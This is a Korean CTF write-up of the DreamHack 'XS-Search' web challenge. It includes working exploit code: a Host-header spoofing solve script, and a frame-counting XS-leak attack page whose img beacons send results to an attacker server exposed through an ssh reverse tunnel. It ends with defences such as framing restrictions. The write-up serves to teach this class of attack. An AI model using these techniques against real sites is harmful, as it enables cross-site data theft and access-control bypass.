[🥇 Gold 3] 응답을 한 글자도 못 읽는데 flag 32자가 새는 이유 — DreamHack XS-Search 풀이

2026-07-28·1분 읽기·

[🥇 Gold 3] 응답을 한 글자도 못 읽는데 flag 32자가 새는 이유 — DreamHack XS-Search 풀이

검색 결과가 매치했을 때만 iframe 이 하나 생긴다. 교차 출처라 본문·헤더·상태코드는 전부 막혀 있지만 window.length 는 늘 읽히니, 그 정수 하나로 "이 접두사가 flag 에 들어 있나"를 묻는 오라클이 된다. 봇을 33번 불러 32자리 hex 를 복원했다. 그런데 정찰 중에 제외 조건이 and 로 이어진 걸 보고 드모르간을 풀어 보니 Host 헤더만 127.0.0.1:8000 으로 바꾸면 curl 한 번으로도 끝났다. 두 경로를 다 라이브로 돌려 같은 flag 가 나오는 걸 확인했다.

문제: DreamHack — XS-Search 분류: web 난이도: 🥇 Gold 3 FLAG: DH{22d1445ad68e194e044a16dc644371f3}

문제 설명은 두 줄이다. "Exercise: XS-Search에서 실습하는 문제입니다." 그리고 플래그 포맷이 DH{[0123456789abcdef]{32}} 라는 것.

포맷을 알려 준 게 사실상 절반이다. 접두사를 한 글자씩 늘려 가며 맞았는지 물어볼 수 있는 수단만 있으면, 16개 후보를 32번 반복해서 전부 복원할 수 있다는 뜻이니까.

XS-Search 메인 페이지 — search 와 submit 두 엔드포인트뿐이다. 하나는 노트를 찾고 하나는 봇에게 URL 을 던진다
XS-Search 메인 페이지 — search 와 submit 두 엔드포인트뿐이다. 하나는 노트를 찾고 하나는 봇에게 URL 을 던진다


문제 개요

항목내용
문제명XS-Search
난이도🥇 Gold 3
분류web
스택Flask 2.x + Jinja2, Selenium(headless Chrome), python:3.10-slim-buster
구성app.py 86줄 · 템플릿 4개 · 봇 리포트 엔드포인트 /submit
핵심 취약점검색 매치 여부가 DOM 프레임 개수로 새는 XS-leak. 덤으로 and 로 엮인 접근 제어 조건

푼 흐름은 이렇다. 소스를 읽다가 접근 제어 조건이 이상해서 먼저 그쪽으로 flag 를 땄고, 문제 이름이 XS-Search 인 만큼 의도된 XS-leak 도 끝까지 구현해서 같은 값이 나오는지 확인했다.



🧩 배경 — 교차 출처에서도 읽히는 값이 있다

동일 출처 정책(SOP)은 다른 출처의 문서를 읽지 못하게 막는다. 우리 페이지에 <iframe src="http://다른곳/"> 을 박아 놓아도, contentDocument 에 손대면 SecurityError 가 난다. 응답 본문, 헤더, 상태 코드, 길이 — 전부 안 보인다.

그런데 전부는 아니다. window 객체에는 교차 출처에서도 접근이 허용되는 프로퍼티가 몇 개 있다. postMessage, closed, location(쓰기만), 그리고 length.

window.length 는 그 창 안에 들어 있는 하위 프레임의 개수다. frames.length 와 같은 값이다. 왜 허용되어 있냐면 window.frames[0] 같은 접근을 위해 프레임 인덱싱이 필요하고, 개수 자체는 "문서 내용"이 아니라고 보기 때문이다.

문제는 개수도 정보라는 것이다. 대상 페이지가 어떤 조건에서만 iframe 을 하나 더 그린다면, 우리는 그 조건의 참·거짓을 밖에서 읽을 수 있다. 이게 frame counting XS-leak 이고, 이 문제의 search.html 이 정확히 그 모양을 하고 있다.

{% if result %}
  <h3>Searching "{{ query }}" found</h3>
  <iframe srcdoc="<pre>{{ result }}</pre>"></iframe>
{% elif query %}
  <h3> Searching "{{ query }}" not found</h3>
{% endif %}

매치하면 iframe 이 생기고, 못 찾으면 안 생긴다. frames.length 가 1 이냐 0 이냐로 갈린다.


🔬 코드 정찰 — app.py 는 86줄이 전부다

배포본에는 Dockerfile 과 deploy/ 만 들어 있다. Flask 앱 하나, 템플릿 넷, 부트스트랩 정적 파일. 로직이 있는 곳은 app.py 뿐이다.

노트 저장소는 파이썬 set 하나다.

FLAG = open("./flag.txt", "r").read()
 
notes = {
    (FLAG, True),
    ("Hello World", False),
    ("DreamHack", False),
    ("carpe diem, quam minimum credula postero", False)
}

두 번째 원소가 private 여부다. flag 만 True 다.

검색 라우트는 이렇게 생겼다.

@app.route('/search')
def search():
    query = request.args.get('query', None)
    if query == None:
        return render_template("search.html", query=None, result=None)
    for note, private in notes:
        if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000":
            continue
        if query != "" and query in note:
            return render_template("search.html", query=query, result=note)
    return render_template("search.html", query=query, result=None)

매칭은 query in note — 부분 문자열이다. 접두사를 한 글자씩 늘려 가며 물어보기에 딱 맞는 형태다.

검색 폼은 GET 하나짜리다.

/search 기본 화면 — query 파라미터 하나짜리 GET 폼이다. 매칭이 부분 문자열이라 접두사를 늘려 가며 물어볼 수 있다
/search 기본 화면 — query 파라미터 하나짜리 GET 폼이다. 매칭이 부분 문자열이라 접두사를 늘려 가며 물어볼 수 있다

공개 노트는 밖에서도 잘 검색된다. 매치하면 결과가 iframe srcdoc 안에 담겨 나오는 걸 화면에서도 확인할 수 있다. 아래 캡쳐에서 "DreamHack" 글자를 감싸고 있는 네모난 테두리가 그 iframe 이다.

query 를 DreamHack 으로 준 결과 — 매치하면 결과가 iframe srcdoc 안에 담겨 나온다. 네모난 테두리가 그 iframe 이다
query 를 DreamHack 으로 준 결과 — 매치하면 결과가 iframe srcdoc 안에 담겨 나온다. 네모난 테두리가 그 iframe 이다

flag 접두사로 바꾸면 못 찾는다. private 노트가 루프 안에서 continue 로 걸러졌기 때문이다.

query 를 flag 접두사로 바꾼 결과 — 밖에서 물으면 private 노트가 루프에서 걸러져 not found 가 돌아온다
query 를 flag 접두사로 바꾼 결과 — 밖에서 물으면 private 노트가 루프에서 걸러져 not found 가 돌아온다

남은 엔드포인트는 봇이다. URL 을 넣으면 컨테이너 안의 headless Chrome 이 그 주소를 3초간 열어 본다.

def read_url(url, cookie={"name": "name", "value": "value"}):
    ...
    driver.implicitly_wait(3)
    driver.set_page_load_timeout(3)
    driver.get(url)

/submit 화면 — URL 을 넣으면 컨테이너 안의 headless Chrome 이 그 주소를 3초 동안 열어 본다
/submit 화면 — URL 을 넣으면 컨테이너 안의 headless Chrome 이 그 주소를 3초 동안 열어 본다

봇은 컨테이너 안에서 도니까 http://127.0.0.1:8000/search 를 열면 remote_addr 이 루프백이 된다. 즉 봇이 검색하면 flag 노트가 검색 대상에 들어간다. 다만 봇은 결과를 우리에게 알려 주지 않는다. 그 결과를 밖으로 빼내는 게 이 문제의 본체다.


🕳️ 곁길 — 제외 조건이 and 로 이어져 있다

여기서 한 번 더 조건식을 봤다. 제외 조건이 이렇게 생겼다.

if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000":
    continue

"루프백에서 왔고 그리고 Host 가 127.0.0.1:8000 이어야 flag 가 보인다"로 읽기 쉽다. 나도 처음엔 그렇게 읽었다. 그런데 이건 제외 조건이다. 부정을 씌워야 통과 조건이 된다.

제외 = private ∧ (remote_addr ≠ 127.0.0.1) ∧ (Host ≠ 127.0.0.1:8000)
통과 = ¬제외 = (remote_addr = 127.0.0.1) ∨ (Host = 127.0.0.1:8000)

and 세 개짜리 조건에 드모르간을 걸면 or 가 나온다. 둘 다 맞을 필요가 없다. 하나만 맞으면 된다.

그리고 Host 는 요청 헤더다. 브라우저는 못 바꿔도 curl 은 바꾼다.

드모르간 법칙 — and 로 이어진 제외 조건을 뒤집으면 둘 중 하나만 만족해도 통과하는 조건이 된다는 걸 보여 준다
드모르간 법칙 — and 로 이어진 제외 조건을 뒤집으면 둘 중 하나만 만족해도 통과하는 조건이 된다는 걸 보여 준다

먼저 로컬에서 확인했다. 배포본을 그대로 컨테이너에 올리고 포트를 매핑하면 remote_addr 이 도커 게이트웨이(172.17.0.1)가 되니, 외부에서 접근하는 것과 같은 조건이 된다.

#!/bin/bash
# app.py:65 의 skip 조건이 정말 OR 로 풀리는지 로컬 컨테이너(remote_addr=172.17.0.1)로 확인한다.
#   skip  = private and remote_addr != 127.0.0.1 and Host != 127.0.0.1:8000
#   include = remote_addr == 127.0.0.1  OR  Host == 127.0.0.1:8000
T=http://127.0.0.1:9000/search
 
echo "### [A] 그냥 외부 요청 (Host: 127.0.0.1:9000)"
curl -s "$T?query=DH%7B" | grep -E "found|<pre>"
 
echo
echo "### [B] Host 헤더만 127.0.0.1:8000 으로 위조"
curl -s -H 'Host: 127.0.0.1:8000' "$T?query=DH%7B" | grep -E "found|<pre>"
 
echo
echo "### [C] 대조군 — 공개 노트는 [A] 에서도 보인다"
curl -s "$T?query=DreamHack" | grep -E "found|<pre>"

로컬 컨테이너 검증 — 그냥 요청하면 not found 지만 Host 헤더만 127.0.0.1:8000 으로 바꾸면 더미 flag 가 그대로 나온다
로컬 컨테이너 검증 — 그냥 요청하면 not found 지만 Host 헤더만 127.0.0.1:8000 으로 바꾸면 더미 flag 가 그대로 나온다

[A] 는 not found, [B] 는 found + 더미 flag 전문, [C] 는 대조군. 조건 해석이 맞았다.

라이브에 그대로 던졌다.

라이브 서버 — Host 헤더 하나만 위조한 curl 요청에 flag 가 iframe srcdoc 안에 실려 그대로 나온다
라이브 서버 — Host 헤더 하나만 위조한 curl 요청에 flag 가 iframe srcdoc 안에 실려 그대로 나온다

DH{22d1445ad68e194e044a16dc644371f3}. 봇도, iframe 도, 오라클도 없이 요청 한 번이었다.

제출은 통과했다. 그런데 문제 이름이 XS-Search 다. 이건 출제자가 의도한 길이 아니다.


🐛 삽질

▶🐛 삽질 1 — 공격 페이지를 우리 사이트에 올렸다가 CSP 에 막혔다

의도된 해법을 하려면 봇에게 먹일 공격 페이지를 인터넷 어딘가에 올려야 한다. 마침 zino.kr 이 있으니 Next.js public/ 에 HTML 하나 떨궈 놓으면 되겠다 싶었다.

안 된다. 이 사이트는 자체 CSP 를 script-src 'self' 'nonce-...' 'strict-dynamic' 으로 잠가 놨고, public/ 에서 서빙되는 정적 파일에도 같은 헤더가 붙는다. nonce 없는 인라인 <script> 는 실행 자체가 차단된다. 봇 브라우저 콘솔에는 CSP 위반만 찍히고 iframe 은 만들어지지도 않는다.

CSP 를 우회하려고 운영 nginx 에 헤더가 안 붙는 정적 location 을 뚫는 것도 방법이긴 한데, 그건 우리 사이트에 CSP 없는 구멍을 하나 열어 두는 것이고 훔친 값이 운영 로그에 남는다. 그래서 공격자 서버는 아예 밖으로 뺐다 — 격리된 NAS Kali VM 에 python3 -m http.server 를 띄우고 localhost.run 터널로 노출한다.

ssh kali 'cd ~/atk_xs && setsid nohup python3 -m http.server 8898 --bind 0.0.0.0 \
            > ~/atk_xs/access.log 2>&1 < /dev/null & disown'
ssh kali 'tmux new-session -d -s lhr "ssh -R 80:localhost:8898 nokey@localhost.run"'

비컨 로그도 운영 nginx 가 아니라 이 서버의 access.log 에서 읽는다.

curl -sI https://zino.kr/ads.txt | grep -i 'content-security-policy' | cut -c1-150
echo
curl -sI https://0be0be4eda8202.lhr.life/wargame-attacker/xs.html | grep -iE 'HTTP|content-security-policy|content-type'

CSP 헤더 비교 — 우리 사이트(zino.kr)는 script-src 에 nonce·strict-dynamic 이 걸린 CSP 를 내려주는 반면, 격리 Kali VM 을 터널로 노출한 공격자 서버는 SimpleHTTP 응답에 CSP 헤더가 아예 없어 인라인 스크립트가 그대로 실행된다
CSP 헤더 비교 — 우리 사이트(zino.kr)는 script-src 에 nonce·strict-dynamic 이 걸린 CSP 를 내려주는 반면, 격리 Kali VM 을 터널로 노출한 공격자 서버는 SimpleHTTP 응답에 CSP 헤더가 아예 없어 인라인 스크립트가 그대로 실행된다

풀고 나서 터널과 서버를 내리고 VM 도 껐다. 임시 터널 주소는 세션이 끝나면 사라지므로 뒤에 남는 게 없다.

▶🐛 삽질 2 — 봇 컨테이너 아웃바운드를 태워 먹고 한 주를 날렸다

이 문제는 이번에 처음 붙은 게 아니다. 지난주에 오라클까지 만들어서 Hello → 1, ZZZZ_NO_MATCH → 0 까지 라이브로 확인했는데, 그 직후부터 봇이 우리 서버로 아무것도 안 보내기 시작했다.

/submit 응답은 계속 alert("good") 이었다. 셀레니움이 죽은 게 아니라는 뜻이다. 그런데 nginx 액세스 로그에는 봇의 요청이 한 건도 안 찍혔다. webhook.site 로 바꿔 봐도, JS 없이 순수 <img> 태그만 있는 페이지로 바꿔 봐도 마찬가지였다.

봇 IP(23.81.42.210)가 우리 쪽 차단에 걸린 건 아닌지부터 확인했다. 아니었다. 짧은 시간에 헤드리스 크롬을 20번 넘게 띄운 게 컨테이너 리소스나 아웃바운드 쪽을 고갈시킨 것으로 보인다.

컨테이너를 새로 만들면 되는데 그 주 VM 크레딧을 이미 다 써서 새 인스턴스를 못 만들었다. 크레딧은 월요일에만 충전된다. 그래서 그대로 묶였다.

이번에는 새 인스턴스로 시작했고, /submit 호출 사이에 5초씩 쉬면서 33번을 돌렸다. 재발하지 않았다. 봇을 쓰는 문제는 요청 간격이 곧 성공률이다.



💣 의도된 해법 — 프레임 개수 세기

정리하면 이렇다. 봇은 flag 를 검색할 수 있지만 결과를 말해 주지 않는다. 우리는 봇의 브라우저 안에서 코드를 돌릴 수 있지만 교차 출처라 응답을 못 읽는다. 겹치는 지점이 frames.length 하나다.

frame counting XS-leak 전체 흐름
frame counting XS-leak 전체 흐름

봇이 우리 페이지를 열면, 그 페이지가 http://127.0.0.1:8000/search?query=<후보> 를 iframe 으로 띄운다. 봇의 브라우저가 보내는 요청이니 remote_addr 은 루프백이고 flag 노트가 검색된다. 매치하면 결과 페이지 안에 srcdoc iframe 이 하나 생기고, 그 순간 바깥에서 읽는 frames.length 가 0 에서 1 로 바뀐다.

먼저 봇 없이 로컬에서만 재현해 봤다. 배포본을 127.0.0.1:8001 에 띄우고(호스트에서 직접 실행하면 브라우저 요청의 remote_addr 이 루프백이라 봇과 같은 조건이 된다), 공격 페이지는 127.0.0.1:9100 에서 서빙한다. 포트가 다르면 출처도 다르다.

<script>
// 표적 검색 페이지는 매치했을 때만 <iframe srcdoc=...> 를 심는다.
// 교차 출처라 본문은 못 읽지만 window.length(=frames.length) 는 언제나 읽힌다.
// 그 값 하나로 "이 접두사가 flag 에 들어 있나"를 묻는 오라클을 만든다.
const TARGET = 'http://127.0.0.1:8001/search?query=';
const CHARS = '0123456789abcdef}'.split('');
const out = document.getElementById('out');
 
function probe(q) {
  return new Promise(res => {
    const f = document.createElement('iframe');
    f.src = TARGET + encodeURIComponent(q);
    f.onload = () => {
      const n = f.contentWindow.frames.length;   // ← 교차 출처에서도 읽히는 유일한 값
      f.remove();
      res(n);
    };
    document.body.appendChild(f);
  });
}
 
(async () => {
  let prefix = 'DH{';
  for (let pos = 0; pos < 40; pos++) {
    const counts = await Promise.all(CHARS.map(c => probe(prefix + c)));
    const hit = CHARS.filter((c, i) => counts[i] > 0);
    const line = CHARS.map((c, i) =>
      `<span class="${counts[i] > 0 ? 'hit' : 'miss'}">${c}:${counts[i]}</span>`).join(' ');
    out.innerHTML += `[${String(pos).padStart(2, '0')}] ${prefix.padEnd(36)} ${line}\n`;
    if (hit.length !== 1) { out.innerHTML += '  ! 한 글자로 안 좁혀짐\n'; return; }
    prefix += hit[0];
    if (hit[0] === '}') break;
  }
  document.getElementById('flag').textContent = 'FLAG = ' + prefix;
})();
</script>

브라우저를 열자마자 한 줄씩 채워진다. 매 줄에서 후보 17개 중 정확히 하나만 1 이 뜬다.

로컬 재현 진행 중 — 자리마다 후보 17개를 물어 frames.length 가 1 인 글자 하나만 남는 모습이다
로컬 재현 진행 중 — 자리마다 후보 17개를 물어 frames.length 가 1 인 글자 하나만 남는 모습이다

끝까지 돌면 32자리를 전부 복원한다. 로컬 flag.txt 에 넣어 둔 더미 값과 일치한다.

로컬 재현 완료 — 응답 본문을 한 번도 읽지 않고 더미 flag 32자를 처음부터 끝까지 전부 복원해 냈다
로컬 재현 완료 — 응답 본문을 한 번도 읽지 않고 더미 flag 32자를 처음부터 끝까지 전부 복원해 냈다

기법이 도는 걸 확인했으니 이제 봇에게 시킬 차례다.


🎯 익스플로잇 — 봇을 33번 부른다

봇 페이지는 로컬 재현본과 구조가 같다. 다른 건 두 가지다. 결과를 화면에 못 그리니 img 비컨으로 우리 서버에 흘려야 하고, 봇 호출 횟수를 줄여야 하니 후보 17개를 한 번의 방문에서 동시에 잰다.

<script>
// XS-Search 공격 페이지.
//   ?p=<지금까지 확정한 접두사>&s=<세션 태그>
// 한 번의 봇 방문에서 후보 17개(0-9a-f 와 '}')를 iframe 으로 동시에 띄우고,
// 각 iframe 의 frames.length 를 읽어 hit/miss 를 비컨으로 흘린다.
(function () {
  var qs = new URLSearchParams(location.search);
  var prefix = qs.get('p') || 'DH{';
  var sid = qs.get('s') || 'x';
  var CHARS = '0123456789abcdef}'.split('');
  var BASE = 'http://127.0.0.1:8000/search?query=';
 
  function beacon(msg) {
    var img = new Image();
    img.src = '/wargame-attacker/b.gif?s=' + encodeURIComponent(sid) +
              '&m=' + encodeURIComponent(msg) + '&z=' + Math.random();
  }
 
  beacon('start|' + prefix);
 
  CHARS.forEach(function (c) {
    var q = prefix + c;
    var f = document.createElement('iframe');
    f.style.display = 'none';
    f.src = BASE + encodeURIComponent(q);
    f.onload = function () {
      var n;
      try { n = f.contentWindow.frames.length; } catch (e) { n = 'ERR'; }
      beacon('r|' + q + '|' + n);
    };
    document.body.appendChild(f);
  });
})();
</script>

봇의 페이지 로드 타임아웃이 3초라 그 안에 iframe 17개가 뜨고 비컨 17개가 나가야 한다. 표적이 같은 컨테이너의 루프백이라 왕복이 빨라서 여유 있게 들어간다.

비컨은 nginx 액세스 로그에 그대로 남는다. 후보별 값으로 되돌리는 스크립트는 이렇다.

#!/usr/bin/env python3
"""봇이 흘린 비컨(nginx 액세스 로그)을 후보별 frames.length 표로 되돌린다."""
import re
import subprocess
import sys
import urllib.parse
 
sid = sys.argv[1] if len(sys.argv) > 1 else "p0"
log = subprocess.run(["ssh", "kali", f"cat {LOG}"],
                     capture_output=True, text=True).stdout
 
rows, ip = [], ""
for line in log.splitlines():
    m = re.search(r"GET /wargame-attacker/b\.gif\?([^ ]+)", line)
    if not m:
        continue
    qs = urllib.parse.parse_qs(m.group(1))
    if qs.get("s", [""])[0] != sid:
        continue
    ip = line.split()[0]
    parts = qs.get("m", [""])[0].split("|")
    if parts[0] == "r":
        rows.append((parts[1], parts[2]))
 
print(f"봇 egress IP = {ip}   (세션 태그 {sid})")
print(f"{'query':<8}{'frames.length':>14}   판정")
for q, n in sorted(rows):
    print(f"{q:<8}{n:>14}   {'← 매치! 이 글자다' if n != '0' else 'miss'}")

첫 방문 결과다. 봇의 egress IP 까지 같이 찍히니 "우리가 로컬에서 만든 값"이 아니라 실제로 챌린지 서버 쪽에서 나온 요청이라는 게 드러난다.

봇 비컨 표 — 후보 17개 중 16개가 0 이고 DH 여는 중괄호 뒤 2 하나만 1 이라 첫 글자가 확정된다
봇 비컨 표 — 후보 17개 중 16개가 0 이고 DH 여는 중괄호 뒤 2 하나만 1 이라 첫 글자가 확정된다

16개가 0 이고 DH{2 하나만 1 이다. 첫 글자는 2.

나머지는 이걸 32번 돌리면 된다. 드라이버 전문이다.

#!/usr/bin/env python3
"""XS-Search(443) 의도된 해법 — frame counting XS-leak 로 flag 를 한 글자씩 복원한다.
 
봇(/submit)에게 우리 페이지를 열게 하면, 그 페이지가 봇의 브라우저 안에서
http://127.0.0.1:8000/search?query=<후보> 를 iframe 으로 띄운다.
검색이 매치하면 결과 페이지에 <iframe srcdoc=...> 가 하나 생기므로
교차 출처에서도 읽히는 frames.length 가 1 이 되고, 못 맞추면 0 이다.
그 값을 img 비컨으로 우리 nginx 로그에 흘려 받는다.
 
봇 컨테이너를 아끼기 위해 후보 17개(0-9a-f, '}')를 한 번의 방문에서 동시에 재고,
방문 사이에는 최소 5초를 쉰다.
"""
import re
import subprocess
import sys
import time
import urllib.parse
import urllib.request
 
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:18313"
ATTACKER = os.environ["WG_ATTACKER"] + "/wargame-attacker/xs.html"   # Kali VM + 터널
LOG = "~/atk_xs/access.log"                                          # 그 서버의 접근 로그
CHARS = "0123456789abcdef}"
 
 
def read_log():
    out = subprocess.run(["sudo", "-n", "cat", LOG], capture_output=True, text=True)
    return out.stdout
 
 
def beacons_for(sid, since_len):
    """sid 태그가 붙은 비컨만 골라 (query, frames.length) 로 돌려준다."""
    text = read_log()[since_len:]
    got = {}
    for line in text.splitlines():
        m = re.search(r"GET /wargame-attacker/b\.gif\?([^ ]+)", line)
        if not m:
            continue
        qs = urllib.parse.parse_qs(m.group(1))
        if qs.get("s", [""])[0] != sid:
            continue
        msg = qs.get("m", [""])[0]
        parts = msg.split("|")
        if parts[0] == "r" and len(parts) == 3:
            got[parts[1]] = parts[2]
    return got
 
 
def visit(url):
    """봇에게 URL 을 방문시킨다. 응답의 alert 문구가 성공/실패를 알려준다."""
    body = urllib.parse.urlencode({"url": url}).encode()
    req = urllib.request.Request(TARGET + "/submit", data=body,
                                 headers={"Content-Type": "application/x-www-form-urlencoded"})
    with urllib.request.urlopen(req, timeout=30) as r:
        return r.read().decode(errors="replace").strip()
 
 
def probe(prefix, sid, wait=6.0):
    mark = len(read_log())
    url = f"{ATTACKER}?p={urllib.parse.quote(prefix)}&s={sid}"
    t0 = time.time()
    resp = visit(url)
    time.sleep(wait)
    got = beacons_for(sid, mark)
    print(f"  bot={resp[:40]!r} {time.time()-t0:.1f}s  비컨 {len(got)}개")
    return got
 
 
def main():
    prefix = "DH{"
    for pos in range(40):
        sid = f"p{pos}"
        print(f"[{pos:2d}] prefix={prefix!r}")
        got = probe(prefix, sid)
        hits = [q[-1] for q, n in got.items() if n not in ("0", "ERR")]
        misses = sum(1 for n in got.values() if n == "0")
        print(f"     miss={misses}  hit={hits}")
        if len(hits) != 1:
            print("     ! 한 글자로 좁혀지지 않음 — 중단하고 로그 확인")
            return 1
        prefix += hits[0]
        print(f"     => {prefix}")
        if hits[0] == "}":
            print(f"\nFLAG = {prefix}")
            return 0
        time.sleep(5)
    return 1
 
 
if __name__ == "__main__":
    sys.exit(main())

33라운드 동안 한 번도 흔들리지 않았다. 매 라운드 비컨 17개가 다 도착했고, miss=16 / hit=1글자 가 그대로 유지됐다. 봇 왕복은 회당 7.9초.

tail -18 xsleak_run.log

라이브 XS-leak 완주 — 봇을 561번 불러 정수 한 개짜리 신호만으로 32자리 hex 를 전부 복원했다
라이브 XS-leak 완주 — 봇을 561번 불러 정수 한 개짜리 신호만으로 32자리 hex 를 전부 복원했다

DH{22d1445ad68e194e044a16dc644371f3}. Host 헤더로 얻은 값과 한 글자도 다르지 않다. 응답 본문을 한 번도 읽지 않고, 정수 한 개짜리 신호만 561번(17 × 33) 받아서 32자리 hex 를 전부 복원했다.


🚀 Full Exploit

라이브 서버 주소만 주면 끝나는 쪽은 이렇게 짧다.

#!/usr/bin/env python3
"""XS-Search(443) — Host 헤더 하나로 private 노트 필터를 통과시켜 flag 를 읽는다.
 
app.py 의 제외 조건이 and 로 이어져 있어서, 드모르간을 풀면
'remote_addr 이 루프백이거나 **또는** Host 가 127.0.0.1:8000 이면' 검색 대상에 들어간다.
Host 는 우리가 정하는 요청 헤더다.
 
  python3 solve.py http://host3.dreamhack.games:15703
"""
import re
import sys
import urllib.request
 
TARGET = (sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:15703").rstrip("/")
 
req = urllib.request.Request(
    TARGET + "/search?query=DH%7B",
    headers={"Host": "127.0.0.1:8000"},   # ← 이 한 줄이 전부다
)
html = urllib.request.urlopen(req, timeout=20).read().decode()
 
print("[*] 대상 :", TARGET)
print("[*] 응답에서 결과 영역만:")
for line in html.splitlines():
    if "found" in line or "<pre>" in line:
        print("   ", line.strip())
 
m = re.search(r"DH\{[0-9a-f]{32}\}", html)
print("\n[+] FLAG =", m.group(0) if m else "(못 찾음)")
sys.exit(0 if m else 1)

solve.py 실행 — urllib 로 Host 헤더를 덮어써 요청 한 번에 라이브에서 flag 를 그대로 받아 낸다
solve.py 실행 — urllib 로 Host 헤더를 덮어써 요청 한 번에 라이브에서 flag 를 그대로 받아 낸다

urllib 로 Host 헤더를 덮어쓰면 urlopen 이 그대로 실어 보낸다. 연결은 여전히 host3.dreamhack.games 로 가고, 헤더만 루프백인 척한다.

의도된 경로를 그대로 재현하려면 위의 xsleak.py 와 xs.html 이 필요하다. 공격 페이지를 CSP 없는 경로에 올려 두고, 그 origin 의 액세스 로그를 읽을 수 있으면 그대로 돈다.



📝 결론

교차 출처에서 새는 건 본문만이 아니다

SOP 는 "다른 출처의 문서를 못 읽게" 막지, "다른 출처에 대해 아무것도 못 알게" 막지 않는다. frames.length, 로드 성공/실패, 응답 시간, 리소스 개수 — 전부 관측 가능한 부수 효과다.

조건에 따라 DOM 모양이 바뀌는 페이지는 그 자체로 오라클이 된다. 이 문제에서는 "매치했을 때만 iframe 을 하나 더 그린다"는 무해해 보이는 렌더링 분기가 flag 전체를 흘렸다.

막으려면 프레임에 못 넣게 하거나, 쿠키를 안 붙게 해야 한다

X-Frame-Options: DENY 나 Content-Security-Policy: frame-ancestors 'none' 을 붙이면 남의 페이지에서 iframe 으로 열리지 않는다. 오라클의 전제가 무너진다.

세션 기반이라면 SameSite=Lax(기본값) 이상으로 쿠키가 교차 사이트 하위 요청에 안 붙게 하는 게 근본 대책이다. 이 문제는 세션이 아니라 IP 로 권한을 갈랐기 때문에 그쪽이 아니라 프레이밍 차단이 맞는 처방이다.

Cross-Origin-Opener-Policy / Cross-Origin-Resource-Policy 도 같은 계열의 격리 수단이다.

Host 헤더는 인증 재료가 아니다

request.headers.get("HOST") 는 클라이언트가 보낸 값이다. remote_addr 은 (프록시가 없다면) 커널이 알려 주는 값이라 못 속이지만, Host 는 curl 한 줄이면 바뀐다. 접근 제어에 이 둘을 나란히 놓는 순간 약한 쪽이 전체 강도를 결정한다.

논리 연산자는 부정을 씌워서 한 번 더 읽는다

if A and B and C: continue 처럼 제외 조건을 길게 이어 쓰면, 읽는 사람 머릿속에서는 통과 조건이 and 로 남기 쉽다. 실제로는 드모르간에 의해 or 다. 이 문제는 그 한 글자 때문에 33번짜리 XS-leak 이 1번짜리 curl 로 줄었다.

접근 제어를 쓸 때는 제외가 아니라 허용을 명시적으로 적는 편이 안전하다. if not (remote_addr == LOOPBACK): continue 처럼.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥇 Gold 3] 백틱을 닫을 필요가 없었다 — DreamHack safe input 풀이
blog

[🥇 Gold 3] 백틱을 닫을 필요가 없었다 — DreamHack safe input 풀이

Jinja2 의 safe 필터가 스크립트 안 템플릿 리터럴 자리에 입력을 그대로 꽂아 준다. 백틱을 닫는 대신 달러 중괄호 하나면 코드가 실행되고, 그 자리는 문장이 아니라 표현식이라 세미콜론을 넣는 순간 전부 죽는다. Trusted Types 는 innerHTML 만 지키고 있었다.
#dreamhack#ctf#web+5
2026-08-08#dreamhack +4
[🥇 Gold 3] CSP nonce를 예측해서 박아 넣다 — DreamHack Dream Lectures 풀이
blog

[🥇 Gold 3] CSP nonce를 예측해서 박아 넣다 — DreamHack Dream Lectures 풀이

강의 신청 사이트의 reason 필드가 autoescape false로 그대로 렌더된다. 진짜 벽은 CSP nonce인데, 이 nonce가 16비트 LFSR로 생성되고 매 응답 헤더에 평문으로 샌다. 한 번 새어 나온 nonce로 LFSR을 복원해 다음 값을 예측하고, apply 한 요청 안에서 봇이 페이지를 읽는 타이밍에 맞춰 script nonce를 박아 CSP를 통과시킨 뒤 navigation으로 플래그를 빼냈다.
#dreamhack#ctf#web+6
2026-06-05#dreamhack +4
[🥈 Silver 1] nonce를 몰라도 XSS가 터진다 — DreamHack DOM XSS 풀이
blog

[🥈 Silver 1] nonce를 몰라도 XSS가 터진다 — DreamHack DOM XSS 풀이

CSP가 script-src에 nonce와 strict-dynamic을 걸어 인라인 스크립트도 onerror도 다 막는다. nonce는 매 응답마다 회전해서 값을 훔칠 수도 없다. 하지만 원시 HTML 주입점이 nonce가 붙은 jquery 스크립트보다 앞에 있어서, base 태그로 그 스크립트의 로드 origin을 내 서버로 돌려버리면 nonce 값을 몰라도 이미 붙은 nonce를 재활용해 내 JS가 실행된다. document.cookie를 동일출처 /memo에 적재해 회수했다.
#dreamhack#ctf#web+6
2026-07-12#dreamhack +4